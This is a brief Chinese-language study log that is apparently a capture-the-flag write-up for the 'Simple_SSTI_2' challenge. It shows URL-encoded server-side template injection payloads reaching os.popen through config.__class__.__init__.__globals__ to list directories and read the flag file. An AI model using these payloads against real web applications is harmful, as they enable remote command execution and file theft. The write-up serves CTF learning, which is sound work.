2022年3月24日學習記錄
阿新 • • 發佈:2022-03-24
Simple_SSTI_2的write up
1.開啟題目先看原始碼
得到提示我們要進行模板注入
2.首先進行檔案搜尋,在網址後面加上/?flag={{config}}
沒看到什麼特殊之處
3、利用ls看存在檔案
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}} ##__class__:用來檢視變數所屬的類,根據前面的變數形式可以得到其所屬的類。 ##__init__ 初始化類,返回的型別是function ##__globals__[] 使用方式是 函式名.__globals__獲取function所處空間下可使用的module、方法以及所有變數。##os.popen() 方法用於從一個命令開啟一個管道。 ##open() 方法用於開啟一個檔案,並返回檔案物件
得到檔案目錄提示
存在一堆資料夾
發現進去以後第一個檔案就有flag
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}} #根據URL轉換表,%20 -> 空格 %27 -> '
接下來直接開啟就行了,沒有對cat進行過濾
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}